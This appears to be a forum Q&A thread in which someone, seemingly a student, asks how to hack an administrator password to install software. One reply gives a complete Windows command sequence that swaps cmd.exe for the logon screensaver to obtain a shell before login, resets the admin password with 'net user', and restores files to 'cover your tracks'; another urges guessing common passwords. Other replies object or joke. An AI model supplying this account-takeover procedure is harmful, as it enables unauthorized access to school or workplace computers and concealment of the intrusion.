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how to hack passwords?


i want to hack my admins password to download adobe flash player in my pc

He he he :) :)

Nothing can be crack or hack....Even you can not send spam mails
if your firewall is strong...It is a open challenge..no one can send us single of spam mail..
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or a program to clean the password there are a few hirens boot cd has a great deal of them.
Well, people shouldn't really be teaching children how to hack passwordsto their school computers >.<

Just sayin'....
AndyGadget3 years ago
 
HERE is a list of words commonly used in passwords.  Try them, and if you have no success, try combinations of them and add numbers.  Then try capitalising some of the letters and/or replacing some letters with similar looking numbers.  Let us know how you get on.
Answer:--
This is a cool little computer trick for Microsoft Windows trick I’ve picked up in my travels and decided to share it with you fine and ethical individuals =). Log in and go to your DOS command prompt and enter these commands exactly:

cd\
cd\windows\system32
mkdir temphack
copy logon.scr temphack\logon.scr
copy cmd.exe temphack\cmd.exe
del logon.scr
rename cmd.exe logon.scr
exit

So what you just told windows to backup is the command program and the screen saver file. Then you edited the settings so when windows loads the screen saver, you will get an unprotected dos prompt without logging in. When this appears enter this command that’s in parenthesis (net user password). So if the admin user name is Doug and you want the password 1234 then you would enter “net user Doug 1234″ and now you’ve changed the admin password to 1234. Log in, do what you want to do, copy the contents of temphack back into system32 to cover your tracks.
Kiteman3 years ago
Search the archive of answers, and you will notice that we never tell children how to hack school networks.

Vyger3 years ago
A few things here don't make sense. If its your admin password how come you need to "hack" it? If your normal user account is an administrator account then you are the administrator already. You don't need to log on to the administrator account to install programs if your account is an administrator account.
Which version of Windows? In win 98 all you had to do was hit cancel and it logged on anyway.
There is an actual basic administrator account but its not usually used. When you set up your user account on a new computer it becomes the default administrator. Also the base administrator account normally does not have a password. If you get something like a Dell then you have to actually set an administrator password otherwise its blank. Its often an oversite of the IT person to leave it open, which then becomes a sort of backdoor. I have gone onto public computers and been able to log into the administrator account because no password was ever set.

There are programs that can reset or override the base administrator password in Windows XP. I have never had the need for one with Win Vista or Win 7, yet.
The program I use runs the Windows setup routine to gain access to the boot sector which is where the first admin password is stored. It then allows you to replace the password. It does not hack the password, it overwrites it.
I was hired by a company to do this on their computers when a previous manager got mad and quit and locked everybody out. Its something I will only do for the legit owner of the computer.
lemonie3 years ago

Why don't you have one for your PC?

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frollard3 years ago
Totally.

What you need to do is get the password hash file, its stored in a system location that you find in the registry.
Then you take that hash file, and open it in notepad. You might need to use calculator for this next bit, that math is tricky:
Compare that hash file to several trillion others based on known password to hash conversions, and when you find one that matches, you know your password.

Or...sorry, no. you don't. That's WHY the password is there in the first place.